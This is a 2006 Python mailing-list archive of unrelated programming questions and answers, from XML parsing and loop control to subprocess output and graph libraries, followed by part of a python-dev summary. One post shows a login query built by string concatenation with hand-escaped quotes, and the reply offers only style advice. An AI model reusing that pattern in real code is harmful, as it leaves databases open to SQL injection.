unexpected line 172 column 75 - Warning: discarding unexpected line 176 column 47 - Error: is not recognized! line 176 column 47 - Warning: discarding unexpected line 176 column 52 - Warning: discarding unexpected line 179 column 77 - Error: is not recognized! line 179 column 77 - Warning: discarding unexpected line 179 column 82 - Warning: discarding unexpected line 182 column 55 - Error: is not recognized! line 182 column 55 - Warning: discarding unexpected line 182 column 60 - Warning: discarding unexpected line 185 column 57 - Error: is not recognized! line 185 column 57 - Warning: discarding unexpected line 185 column 62 - Warning: discarding unexpected line 188 column 55 - Error: is not recognized! 94 warnings, 38 errors were found! Not all warnings/errors were shown. This document has errors that must be fixed before using HTML Tidy to generate a tidied up version. So far, pdftohtml has worked flawlessly and created much saner HTML output out of the box than Word 2000 _____________________________________________________________________ Der WEB.DE SmartSurfer hilft bis zu 70% Ihrer Onlinekosten zu sparen! http://smartsurfer.web.de/?mc=100071&distributionid=000000000066 From marc.wyburn at googlemail.com Thu Oct 12 06:03:05 2006 From: marc.wyburn at googlemail.com (marc.wyburn at googlemail.com) Date: 12 Oct 2006 03:03:05 -0700 Subject: XML ElementTree Parse. Message-ID: <1160647385.137882.287070@m7g2000cwm.googlegroups.com> I'm playing with XML and elementtree and am missing something but I'm not sure what...? I've create an XML file with Elementtree with a root of backup.xml. Attached to the root is a dirob and the dirobj has a fileobj. fileobj has filename and filesize tags. I can open the file in excel and it sets out the columns as I would expect. The problem I'm having is parsing the file. Using.. >>> file = open('c:\\scripts\\backup.xml', "r") >>> tree = parse(file) >>> elem = tree.getroot() >>> elem.findtext('filesize') Doesn't return anything, infact I can't seem to find anything regardless of what I search for. Here is the XML. I've got a list of files and their containing directories and I want my python script to append to the XML file each day. I could have done it with SQL but fancied banging my head on the wall instead. Thanks, MW. - - C:\sysprep - test.txt 10 From mcfletch at vrplumber.com Tue Oct 10 18:03:06 2006 From: mcfletch at vrplumber.com (Mike C. Fletcher) Date: Tue, 10 Oct 2006 18:03:06 -0400 Subject: 3D Vector Type Line-Drawing Program In-Reply-To: References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com> Message-ID: <452C189A.6060409@vrplumber.com> James Stroud wrote: > James Stroud wrote: > >> Hello All, >> >> I'm looking for a program to do line-drawings in 3d, with output to >> postscript or svg or pdf, etc. I would like to describe a scene with >> certain 1-3d elements oriented in 3d space with dashed or colored lines >> and filled or transparent surfaces (or maybe semitransparent). >> >> I would then like to set the camera and have the scene depicted as a >> line drawing (not ray-traced solid body, etc). >> >> Does anyone know of a library to do this? >> > > > I'm really looking for a python library. The title of the post is kind > of misleading. > At one point I created a gl2ps wrapper for use with PyOpenGL, that, combined with any of the PyOpenGL-based renderers would allow much of what you're describing, though IIRC it didn't properly support transparent or textured surfaces. You could probably recreate the wrapper using ctypes in a few hours and then hook it up in a few more. I believe there are similar OpenGL-to-SVG libraries here and there, you could likely hook one of them up to get a reasonable result that would support more graphics features (maybe). Generally what you get out of these things, however, is a quite fragmented view of your objects (that is, you get the triangles that would be rendered). That *can* be coded around, but generally people are either focused on making it look good or making it editable. Good luck, Mike -- ________________________________________________ Mike C. Fletcher Designer, VR Plumber, Coder http://www.vrplumber.com http://blog.vrplumber.com From neoedmund at gmail.com Sun Oct 15 23:29:53 2006 From: neoedmund at gmail.com (neoedmund) Date: 15 Oct 2006 20:29:53 -0700 Subject: python's OOP question In-Reply-To: References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> Message-ID: <1160969393.803021.274070@e3g2000cwe.googlegroups.com> python use multiple inheritance. but "inheritance" means you must inherite all methods from super type. now i just need "some" methods from one type and "some" methods from other types, to build the new type. Do you think this way is more flexible than tranditional inheritance? Ben Finney wrote: > [Please don't top-post above the text to which you're replying.] > > "neoedmund" writes: > > > I'm trying to achieve a higher level of "reusability". Maybe it > > cannot be done in python? Can anybody help me? > > What, specifically, are you trying to achieve? What problem needs > solving? > > -- > \ "If you're a horse, and someone gets on you, and falls off, and | > `\ then gets right back on you, I think you should buck him off | > _o__) right away." -- Jack Handey | > Ben Finney From allmanj at cp.dias.ie Wed Oct 18 04:43:30 2006 From: allmanj at cp.dias.ie (John Allman) Date: Wed, 18 Oct 2006 09:43:30 +0100 Subject: dynamic module loading via __import__, nonetype? In-Reply-To: <7.0.1.0.0.20061017144849.03c8ac20@yahoo.com.ar> References: <4533B441.9010405@cp.dias.ie> <7.0.1.0.0.20061017144849.03c8ac20@yahoo.com.ar> Message-ID: <4535E932.9070701@cp.dias.ie> Gabriel Genellina wrote: > At Monday 16/10/2006 13:33, John Allman wrote: > >> If i manually import a module, this method works a treat, however if i >> attempt to dynamically load a module at runtime the create method fails >> with the following error: >> >> TypeError: 'NoneType' object is not callable > > Can you cut down a reproducible test case, with *only* this behavior and > nothing more? > Hi Gabriel Thanks for the reply. I actually spotted my error (simple, stupid that i hadn't noticed). I had the create method creating an object if it could find a suitable class and importing a suitable class if it couldn't find one. I rather stupidly forgot to actually create an object after importing the class! I was completely stuck - it's amazing what a night's sleep will do for you! Thanks, John From bblais at bryant.edu Fri Oct 20 08:54:16 2006 From: bblais at bryant.edu (Brian Blais) Date: Fri, 20 Oct 2006 08:54:16 -0400 Subject: advice for web-based image annotation In-Reply-To: <7xu020gh9p.fsf@ruckus.brouhaha.com> References: <7xu020gh9p.fsf@ruckus.brouhaha.com> Message-ID: <4538C6F8.60103@bryant.edu> Paul Rubin wrote: > Brian Blais writes: >> I want to set up a system where I can have my family members write >> comments about a number of pictures, as part of a family tree project. >> ...Any suggestions would be greatly appreciated! > > How about a wiki? So I thought about a wiki (again having no experience there either...sigh). You can put images in a wiki? I had a quick look at pytw, but haven't had the time to really dive into it to see if I could get it going, and if it would work for me. bb -- ----------------- bblais at bryant.edu http://web.bryant.edu/~bblais From ewijaya at i2r.a-star.edu.sg Fri Oct 13 10:21:15 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Fri, 13 Oct 2006 22:21:15 +0800 Subject: Loops Control with Python Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615A5@mailbe01.teak.local.net> Can we make loops control in Python? What I mean is that whether we can control which loops to exit/skip at the given scope. For example in Perl we can do something like: OUT: foreach my $s1 ( 0 ...100) { IN: foreach my $s2 (@array) { if ($s1 == $s2) { next OUT; } else { last IN; } } } How can we implement that construct with Python? -- Edward WIJAYA SINGAPORE ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From Matthew.Warren at Digica.com Tue Oct 3 11:48:23 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Tue, 3 Oct 2006 16:48:23 +0100 Subject: Escapeism In-Reply-To: Message-ID: > -----Original Message----- > From: > python-list-bounces+matthew.warren=digica.com at python.org > [mailto:python-list-bounces+matthew.warren=digica.com at python.o > rg] On Behalf Of Matthew Warren > Sent: 03 October 2006 16:07 > To: python-list at python.org > Subject: RE: Escapeism > > > > > -----Original Message----- > > From: > > python-list-bounces+matthew.warren=digica.com at python.org > > [mailto:python-list-bounces+matthew.warren=digica.com at python.o > > rg] On Behalf Of Kay Schluehr > > Sent: 30 September 2006 18:02 > > To: python-list at python.org > > Subject: Re: Escapeism > > > > Sybren Stuvel wrote: > > > Kay Schluehr enlightened us with: > > > > Usually I struggle a short while with \ and either > > succeed or give up. > > > > Today I'm in a different mood and don't give up. So here is my > > > > question: > > > > > > > > You have an unknown character string c such as '\n' , > > '\a' , '\7' etc. > > > > > > > > How do you echo them using print? > > > > > > > > print_str( c ) prints representation '\a' to stdout for c = '\a' > > > > print_str( c ) prints representation '\n' for c = '\n' > > > > ... > > > > > > > > It is required that not a beep or a linebreak shall be printed. > > > > > > try "print repr(c)". > > > > This yields the hexadecimal representation of the ASCII > character and > > does not simply echo the keystrokes '\' and 'a' for '\a' > ignoring the > > escape semantics. One way to achieve this naturally is by prefixing > > '\a' with r where r'\a' indicates a "raw" string. But unfortunately > > "rawrification" applies only to string literals and not to string > > objects ( such as c ). I consider creating a table > consisting of pairs > > {'\0': r'\0','\1': r'\1',...} i.e. a handcrafted mapping but maybe > > I've overlooked some simple function or trick that does the same for > > me. > > > > Kay > > ((I have no idea why the following was missing from my first attempt to post, and since posting the thread has gone over my head, but wasn't the OP just after a way to print user-inputted strings with '\' in them?))... I cant test this where I am, but would the following work We have our literal user-inputted strings in a list, l=['\a','\b','\c'] etc.. For s in l: for c in s: print c, print This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From fredrik at pythonware.com Tue Oct 10 09:11:50 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 15:11:50 +0200 Subject: Python component model References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net><1160467516.602655.169920@c28g2000cwb.googlegroups.com> Message-ID: "Edward Diener No Spam" wrote: > A RAD IDE tool to hook up components into an application or library ( > module in Python ) has nothing to do with terseness and everything to do > with ease of programming. python already has excellent and ridiculously easy-to-program ways to hook things up. after all, hooking things up is what python programmers tend to do, most of their time. if you want better support for more precise hooking, post some examples. > All you are saying is that you don't have a need for this, but perhaps others do. handwavy references to what "other may need" is another thing you should avoid if you want your Python change proposal to be successful. From gagsl-py at yahoo.com.ar Tue Oct 31 16:32:23 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Tue, 31 Oct 2006 18:32:23 -0300 Subject: best way to check if a file exists? In-Reply-To: References: Message-ID: <7.0.1.0.0.20061031182153.045cd800@yahoo.com.ar> At Tuesday 31/10/2006 18:01, John Salerno wrote: >What is the best way to check if a file already exists in the current >directory? I saw os.path.isfile(), but I'm not sure if that does more >than what I need. os.access(full_filename, os.F_OK) http://docs.python.org/lib/os-file-dir.html >I just want to check if a file of a certain name exists before the user >creates a new file of that name. Remember that things may change between you check the name and you actually create the file. -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From bignose+hates-spam at benfinney.id.au Fri Oct 27 20:06:13 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sat, 28 Oct 2006 10:06:13 +1000 Subject: Sentinel values for special cases References: Message-ID: <874ptpe22y.fsf@benfinney.id.au> aahz at pythoncraft.com (Aahz) writes: > Ben Finney wrote: > >Use a unique do-nothing object, defined at the module level so > >callers can easily get at it [...] > > > > GLOBAL = object() > > > > def insert_ids(ids=GLOBAL): > > if ids is GLOBAL: > > ids = get_global_ids() > > The one disadvantage of this approach is that it complicates > pickling if/when you store the stentinel in an instance. There are > ways of working around that, but none are pleasant. Hmm, and any other kind of serialisation would be similarly affected I suppose. What's an alternative? -- \ "Think for yourselves and let others enjoy the privilege to do | `\ so too." -- Voltaire, _Essay On Tolerance_ | _o__) | Ben Finney From antroy at gmail.com Wed Oct 18 11:05:24 2006 From: antroy at gmail.com (Ant) Date: 18 Oct 2006 08:05:24 -0700 Subject: a little about regex In-Reply-To: <1161160990.381368.53770@m73g2000cwd.googlegroups.com> References: <1161160990.381368.53770@m73g2000cwd.googlegroups.com> Message-ID: <1161183924.713254.173720@m73g2000cwd.googlegroups.com> Rob Wolfe wrote: ... > def filter(adr): # note that "filter" is a builtin function also > import re > > allow = re.compile(r'.*(?|$)') # negative lookbehind > deny = re.compile(r'.*\.com\.my(>|$)') > cnt = 0 > if deny.search(adr): cnt += 1 > if allow.search(adr): cnt += 1 > return cnt Which makes the 'deny' code here redundant so in this case the function could be reduced to: import re def allow(adr): # note that "filter" is a builtin function also allow = re.compile(r'.*(?|$)') # negative lookbehind if allow.search(adr): return True return False Though having the explicit allow and deny expressions may make what's going on clearer than the fairly esoteric negative lookbehind. From diffuser78 at gmail.com Fri Oct 6 15:23:40 2006 From: diffuser78 at gmail.com (diffuser78 at gmail.com) Date: 6 Oct 2006 12:23:40 -0700 Subject: Graph Theory In-Reply-To: <1160086579.492499.38120@m7g2000cwm.googlegroups.com> References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com> <1160079341.752297.139110@h48g2000cwc.googlegroups.com> <1160079922.925712.55850@i42g2000cwa.googlegroups.com> <1160086579.492499.38120@m7g2000cwm.googlegroups.com> Message-ID: <1160162620.929630.51160@m73g2000cwd.googlegroups.com> Is there any documentation avaialbe for networkx ? I want to have an implementation of random graphs including watts and strogatz graph. boggom at comcast.net wrote: > diffuser78 at gmail.com wrote: > > Thanks for your quick reply. Since I have not read the documentation, I > > was wondering if you can generate random graph and analyze some > > peroperties of it like clustering coefficient or graph density. I am a > > graph theory student and want to use python for development. Somebody > > told me that Python has already so much bultin. Are there any > > visualization tool which would depict the random graph generated by the > > libraries. > > networkx has several random graph generators, including: > > barabasi_albert_graph > binomial_graph > erdos_renyi_graph > gnm_random_graph > gnp_random_graph > random_regular_graph > watts_strogatz_graph > > and others (e.g. via configuration_model) > > For drawing you can use pygraphviz (also available at > networkx.lanl.gov) > or the built-in drawing tools. > > e.g. > > >>> from networkx import * > >>> no_nodes=1000 > >>> for p in [ 0.1, 0.2, 0.3]: > >>> g = watts_strogatz_graph(no_nodes, 4, p) > >>> print density(g), average_clustering(g) > > be warned that drawing large random graphs are not overly insightful > > check the examples From http Tue Oct 24 13:16:56 2006 From: http (Paul Rubin) Date: 24 Oct 2006 10:16:56 -0700 Subject: Talks at PyCon that Teach How to Be Better Programmers References: Message-ID: <7xmz7ld46v.fsf@ruckus.brouhaha.com> "Robert Brewer" writes: > 2. Dynamic languages naturally more lang-maven oriented? > See http://osteele.com/archives/2004/11/ides Not sure what you mean by this, even after reading that (interesting) article. These days Haskell (which has static types) seems to be all the rage with language geeks. From ak at silmarill.org Thu Oct 5 12:50:19 2006 From: ak at silmarill.org (Rainy) Date: 5 Oct 2006 09:50:19 -0700 Subject: building strings from variables In-Reply-To: <1160060458.147062.193070@c28g2000cwb.googlegroups.com> References: <1160060458.147062.193070@c28g2000cwb.googlegroups.com> Message-ID: <1160067019.159779.218580@b28g2000cwb.googlegroups.com> Gal Diskin wrote: > Following a discussion with an associate at work about various ways to > build strings from variables in python, I'd like to hear your opinions > and preferred methods. The methods we discussed are: > 1. some_string = "cd %s ; %s %d %s %s" % ( working_dir, ssh_cmd, > some_count, some_param1, some_param2) > > 2. import string > template = string.Template("cd $dir ; $cmd $count $param1 > $param2") > some_string = template.substitute(dict(dir=working_dir, > > cmd=ssh_cmd, > > count=some_count, > > pararm1=some_param1, > > param2=some_param2)) > here you can use a couple of nice tricks by using class.__dict__ and > globals() \ locals() dictionaries. > > 3. some_string = "cd "+working_dir+" ; "+ssh_cmd+ " > "+str(some_count)+" "+some_param1+" "+some_param2 > (all these are supposed to produce the same strings) > > Which methods do you know of \ prefer \ think is better because...? > I will appreciate any opinions about the matter. My opinion is that 1st method is the best. It's both very readable and easy to write. 2nd way is too involved, and 3rd way is both hard to read and difficult to compose. Another useful variant of method #1 is to do this: %(varname)s ..." % globals() From aking at mappi.helsinki.fi Tue Oct 31 01:23:55 2006 From: aking at mappi.helsinki.fi (aking at mappi.helsinki.fi) Date: Tue, 31 Oct 2006 08:23:55 +0200 Subject: No subject Message-ID: <1162275835.4546ebfb21f1d@www2.helsinki.fi> J. Clifford Dyer wrote: > Alistair King wrote: > >> Hi, >> >> is there a simple way of creating global variables within a function? >> >> ive tried simply adding the variables in: >> >> def function(atom, Xaa, Xab): >> Xaa = onefunction(atom) >> Xab = anotherfunction(atom) >> >> if i can give something like: >> >> function('C') #where atom = 'C' but not necessarly include Xaa or Xab >> >> i would like to recieve: >> >> Caa = a float >> Cab = another float >> >> ive tried predefining Xaa and Xab before the function but they are >> global values and wont change within my function. Is there a simple way >> round this, even if i call the function with the variables ('C', Caa, Cab)? >> ............................................................................................................................... >> >> some actual code: >> >> # sample dictionaries >> DS1v = {'C': 6} >> pt = {'C': 12.0107} >> >> def monoVarcalc(atom): >> a = atom + 'aa' >> Xaa = a.strip('\'') >> m = atom + 'ma' >> Xma = m.strip('\'') >> Xaa = DS1v.get(atom) >> Xma = pt.get(atom) >> print Xma >> print Xaa >> >> monoVarcalc('C') >> >> print Caa >> print Cma >> ............................................................................................................................... >> it seems to work but again i can only print the values of Xma and Xaa >> >> ? >> >> Alistair >> >> > > I suspect you are misusing the concept of a function. In most basic > cases, and I suspect your case applies just as well as most, a function > should take arguments and return results, with no other communication > between the calling code and the function itself. When you are inside > your function don't worry about the names of the variables outside. I'm > not sure exactly where your floats are coming from, but try something > like this: > > >>> def monoVarCalc(relevant_data): > ... float1 = relevant_data * 42.0 > ... float2 = relevant_data / 23.0 > ... return float1, float2 > > >>> C = 2001 > >>> Caa, Cab = monoVarCalc(C) > >>> Caa > 84042.0 > >>> Cab > 87.0 > > Notice that you don't need to use the variable C (or much less the > string "C", inside monoVarCalc at all. It gets bound to the name > relevant_data instead. > > Also, if you are going to have a lot of these little results lying > around, (Cab, Cac ... Czy, Czz), you might consider making them a list > or a dictionary instead. I won't tell you how to do that, though. The > online tutorial has plenty of information on that. > > http://docs.python.org/tut/tut.html > > > Cheers, > Cliff > this worked a treat: def monoVarcalc(atom): a = atom + 'aa' Xaa = a.strip('\'') m = atom + 'ma' Xma = m.strip('\'') Xaa = DS1v.get(atom) Xma = pt.get(atom) return Xaa, Xma Caa, Cma = monoVarcalc('C') thanks Ali -- Dr. Alistair King Research Chemist, Laboratory of Organic Chemistry, Department of Chemistry, Faculty of Science P.O. Box 55 (A.I. Virtasen aukio 1) FIN-00014 University of Helsinki Tel. +358 9 191 50392, Mobile +358 (0)50 5279446 Fax +358 9 191 50366 From fredrik at pythonware.com Wed Oct 25 04:21:38 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 25 Oct 2006 10:21:38 +0200 Subject: python html 2 image (png) In-Reply-To: <1161763383.622381.299350@b28g2000cwb.googlegroups.com> References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com> Message-ID: baur79 at gmail.com wrote: > how can i render html page to png image > ex: > > http://www.website.com/index.html -> index.png what tools are you using to do that today? From aahz at pythoncraft.com Tue Oct 24 09:52:55 2006 From: aahz at pythoncraft.com (Aahz) Date: 24 Oct 2006 06:52:55 -0700 Subject: Protecting against SQL injection References: Message-ID: In article , Tor Erik Soenvisen wrote: > >How safe is the following code against SQL injection: > > # Get user privilege > digest = sha.new(pw).hexdigest() > # Protect against SQL injection by escaping quotes > uname = uname.replace("'", "''") > sql = 'SELECT privilege FROM staff WHERE ' + \ > 'username=\'%s\' AND password=\'%s\'' % (uname, digest) > res = self.oraDB.query(sql) Do yourself a favor at least and switch to using double-quotes for the string. I also recommend switching to triple-quotes to avoid the backslash continuation. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "If you don't know what your program is supposed to do, you'd better not start writing it." --Dijkstra From skip at pobox.com Sat Oct 7 21:13:54 2006 From: skip at pobox.com (skip at pobox.com) Date: Sat, 7 Oct 2006 20:13:54 -0500 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45240FD5.3050705@v.loewis.de> <4n4Vg.135913$_J1.898276@twister2.libero.it> <45254B18.2090806@v.loewis.de> <7x3ba1ltvj.fsf@ruckus.brouhaha.com> Message-ID: <17704.20690.222567.911965@montanaro.dyndns.org> Giovanni> And, in turn, this was in the context of hiring 6-10 people as Giovanni> the only acceptable minimum to maintain and admin a bug Giovanni> tracker. Who said anything about "hiring"? I don't believe anyone expects any of the 6-10 people to work full-time (well, except for you it would appear). I help moderate a number of Python-related mailing lists hosted on mail.python.org. I also do a microscopic amount of bug triage for a couple smallish modules in the standard distribution, have pitched in a bit to help with the website (though don't anymore) and used to help a little bit with administration of the various python.org machines. I certainly have never spent anything approaching full-time for any of these tasks, not even when measured over short time periods. A few minutes here. An hour there. Many people contribute way more time to the overall endeavor than I do, and I applaud them for their dedication. I haven't ever been paid nor have I ever expected to be paid. It's a spare time activity, a way to contribute to Python even when I can't do more. At times I have come and gone as well, mostly depending on the constraints of work and family obligations and my instantaneous enthusiasm for the project. If I'd rather read a book, work on my car or watch TV, that's ok. I don't feel guilty for the idle time I don't spend working on Python. I know there are many other people there to cover for what little bit of work I am not doing. I suspect that is how most people approach any of the myriad tasks involved with getting Python out the door and keeping it current. I think that was also the intent of the "6-10 people" phrase. If you have lots of people available to pitch in, no one person's absence is a show stopper. Skip From fabianosidler at gmail.com Tue Oct 31 08:45:09 2006 From: fabianosidler at gmail.com (Fabiano Sidler) Date: Tue, 31 Oct 2006 13:45:09 +0000 Subject: Printing out the objects stack In-Reply-To: <200610291748.41082.fabianosidler@gmail.com> References: <200610291748.41082.fabianosidler@gmail.com> Message-ID: <200610311345.09918.fabianosidler@gmail.com> On Sunday 29 October 2006 17:48, I wrote: > Now the following things are not clear to me: > -Why does the VM crash? Did I use the wrong stack boundaries? > -Why are no locales printed? > -Why is the function "stack" not right before or after "foo" > on the stack? When I disassemble the code of f with dis.dis, > it reveals that sys.stack and foo are pushed onto the stack > successively. No hints? Greetings, Fips From SSchukat at dspace.de Fri Oct 13 06:51:25 2006 From: SSchukat at dspace.de (Stefan Schukat) Date: Fri, 13 Oct 2006 11:51:25 +0100 Subject: Thread termination Message-ID: <1B3F2E002D9AD04BBC1A27B370F29EB9023104@exchange2003.dspace.de> Reading from your last posts you are using COM objects. Therefore you should not "kill" the thread since this would lead to reference leaks. So there are only two ways left: 1. Program a specific interpreter and not use python.exe which implements an access to PyThreadState_SetAsyncExc 2. Check in the separate thread at specific times a variable which is set in the main thread. Both need the try finally construct in the threadfunction to release COM objects in the right way. I.e., (taking the source from Roger): def ThreadFunction(istream, dest): pythoncom.CoInitialize() // Initialize COM Runtime for this thread try: d=pythoncom.CoGetInterfaceAndReleaseStream(istream, pythoncom.IID_IDispatch) my_ie=win32com.client.Dispatch(d) my_ie.Navigate(dest) finally: my_ie = None // Release COM object pythoncom.CoUninitialize() // Release COM Runtime for this thread Stefan From ask at me Thu Oct 26 07:41:43 2006 From: ask at me (alf) Date: Thu, 26 Oct 2006 07:41:43 -0400 Subject: subprocess-how to suppress the stdout In-Reply-To: References: Message-ID: Fredrik Lundh wrote: > "alf" wrote: > > >>I can achieve it by using Popen(...,stdout=subprocess.PIPE,...) but >>wonder where the all stdout actually goes. Is it buffered (to eventually >>fill up) > > > it ends up in a pipe buffer, yes. > > >>Or there is a better solution ... > > > /dev/null is your friend: > > Popen(..., stdout=open("/dev/null", "w"), stderr=subprocess.STDOUT, ...) > I am forced to use win32 :-( plus it needs to be platform independent ... From jstroud at mbi.ucla.edu Thu Oct 19 16:32:30 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Thu, 19 Oct 2006 20:32:30 GMT Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: Fredrik Lundh wrote: > James Stroud wrote: > > > without requiring an iterator > > can we perhaps invent some more arbitrary constraints while we're at it? > > > I guess while I'm at it, this thread wouldn't have so much steam were these idioms seemingly unpythonic: "".join(reverse(x)) alist[::-1] The latter, while more terse than alist.reversed(), is unnatural and ugly compared to the general elegance of other constructs in python. Were this not the case, beginners and intermediate programmers alike would not have such trouble remembering it. In fact, the latter's exact behavior, if I remember correctly, spawned a thread of its own with much speculation as to the exact meaning of the documentation and whether the API conformed to this inferred meaning. I'll attempt to provide a link to the thread if anyone takes me to task on this. I'm sure many life-long programmers will claim that they have never created a reverse copy of a data structure for production code, but why is it that so many jump to the fore to point out that alist[::-1] is how one produces a reverse copy of a list, or that a string can be reversed with reversed, join, and an instance of another string (did I leave something out?)? But why do so many beginning programmers ask how one might produce a reverse data structure in python? Perhaps they are just ignorant fools who don't know that creating a reverse copy of a data structure can be proven to be a useless operation if only they would stop trying to write code and begin to write formal proofs. Perhaps their professors are to blame, unreasonably asking them to write actual code before memorizing all three+ volumes of Knuth. I'm sure the proof is in there somewhere. But maybe it is not the purpose of a poweful language like python to be used as a teaching language. Maybe python should be reserved for use only by those who have been desensitized to its idiosyncracies, inconsistencies, and idiomatic workarounds. James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From steve at holdenweb.com Wed Oct 4 09:29:32 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 04 Oct 2006 14:29:32 +0100 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: Fredrik Lundh wrote: > Steve Holden wrote: > > >>But sadly people are much happier complaining on c.l.py than exerting >>themselves to support the community with an open source issue tracker. > > > you're not on the infrastructure list, I hear. python.org could still need a > few more roundup volunteers, but it's not like nobody's prepared to con- > tribute manhours. don't underestimate the community. > No, I'm not on the infrastructure list, but I know that capable people *are*: and you know I am quite capable of donating my time to the cause, when I have it to spare (and sometimes even when I don't). Perhaps what I *should* have written was "Sadly *many* people spend too much time bitching and moaning about those that roll their sleeves up, and not enough rolling their own sleeves up and pitching in". Sniping from the sidelines is far easier than hard work towards a goal. Kindly note that none of the above remarks apply to you. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From steven.bethard at gmail.com Wed Oct 18 14:16:51 2006 From: steven.bethard at gmail.com (steven.bethard at gmail.com) Date: Wed, 18 Oct 2006 18:16:51 +0000 (GMT) Subject: python-dev Summary for 2006-08-16 through 2006-08-31 Message-ID: <20061018182155.53BF31E4004@bag.python.org> python-dev Summary for 2006-08-16 through 2006-08-31 ++++++++++++++++++++++++++++++++++++++++++++++++++++ .. contents:: [The HTML version of this Summary is available at http://www.python.org/dev/summary/2006-08-16_2006-08-31] ============= Announcements ============= --------------------------- Python communnity buildbots --------------------------- Want to make sure your package works with the latest and greatest development and release versions of Python? Thanks to Grig Gheorghiu, you can add your test suite to the `Python community buildbots`_ and the results of these tests will show up on the `Python buildbot results page`_. .. _Python community buildbots: http://www.pybots.org/ .. _Python buildbot results page: http://www.python.org/dev/buildbot/ Contributing thread: - `link to community buildbot? `__ ========= Summaries ========= --------------------- Fast subclass testing --------------------- Neal Norwitz was playing around with a patch that would make subclass testing for certain builtin types faster by stealing some bits from tp_flags. Georg Brandl thought this could be useful for exception handling in Python 3000 when all exceptions must be subclasses of BaseException. Guido also liked the patch and suggested it be checked into the `Python 3000 branch`_. .. _Python 3000 branch: http://svn.python.org/view/python/branches/p3yk/ Contributing thread: - `Type of range object members `__ ----------------------------- gcc 4.2 and integer overflows ----------------------------- Jack Howarth pointed out that intobject.c was using the test ``x < 0 && x == -x`` to determine if the signed integer ``x`` was the most negative integer on the platform. However, the C standard says overflow is undefined, so despite this code actually working on pretty much all known hardware, `gcc 4.2 assumes that overflow won't happen`_ and so optimizes away the entire clause. David Hopwood and Tim Peters provided a patch that casts ``x`` to an unsigned long (the "unnecessary" ``0`` is to make the Microsoft compilers happy):: x < 0 && (unsigned long)x == 0-(unsigned long)x .. _gcc 4.2 assumes that overflow won't happen: http://bugs.python.org/1545668 Contributing thread: - `gcc 4.2 exposes signed integer overflows `__ -------------------------- Python and 64-bit machines -------------------------- Thomas Heller explained that the _ctypes extension module was still a fair ways from building on Win64 and had to be removed from the installer for that platform. There was some discussion about in general how "experimental" the Win64 build of Python was, but Martin v. Lowis explained that despite the compiler warnings, Python has been running mostly fine on Win64 since version 2.4. In fact, Python has been running in 64-bit machines since 1993 (when Tim Peters ported it to 64-bit Crays) though of course not with the support that Python 2.5 brought through the Py_ssize_t changes. Contributing thread: - `ctypes and win64 `__ ------------------------------------------ Guidelines for submitting bugs and patches ------------------------------------------ Brett Cannon put together a rewrite of the `bug and patch guidelines`_. The bug guidelines now includes sections on how to: * Get a SourceForge account * Start a new bug * Specify the Python version * Specify special settings for your Python interpreter * Give sample code to reproduce bug * Submit! * Respond to requests from developers And the patch guidelines now includes sections on how to: * Read the Developer Intro to understand the scope of your proposed change * Add the appropriate unit tests * Add the proper document changes * Make your code follow the style guidelines * Generate a patch * Create a tracker item on SourceForge * Reference the patch in proper bug reports * Wait for a developer to contact you At Chad Whitacre's suggestion, Brett also included a section on the 5-for-1 rule, where some python-devvers have agreed to review your one patch if you post reviews of five others. The updates had not been posted to python.org at the time of this summary. .. _bug and patch guidelines: http://www.python.org/dev/patches/ Contributing threads: - `draft for bug guidelines `__ - `draft of patch guidelines `__ --------------------------------- Corner cases for continue/finally --------------------------------- Dino Viehland pointed out an odd corner case with ``continue`` in a ``finally`` clause that was causing Python to crash:: for abc in range(10): try: pass finally: try: continue except: pass The bug was present at least all the way back to Python 2.3. People tossed a few patches back and forth (and a few tests which broke various versions of the patches) before `Neal Norwitz posted a patch`_ that people seemed to like. .. _Neal Norwitz posted a patch: http://bugs.python.org/1542451 Contributing thread: - `2.4 & 2.5 beta 3 crash `__ --------------------------------------- PEP 343: decimal module context manager 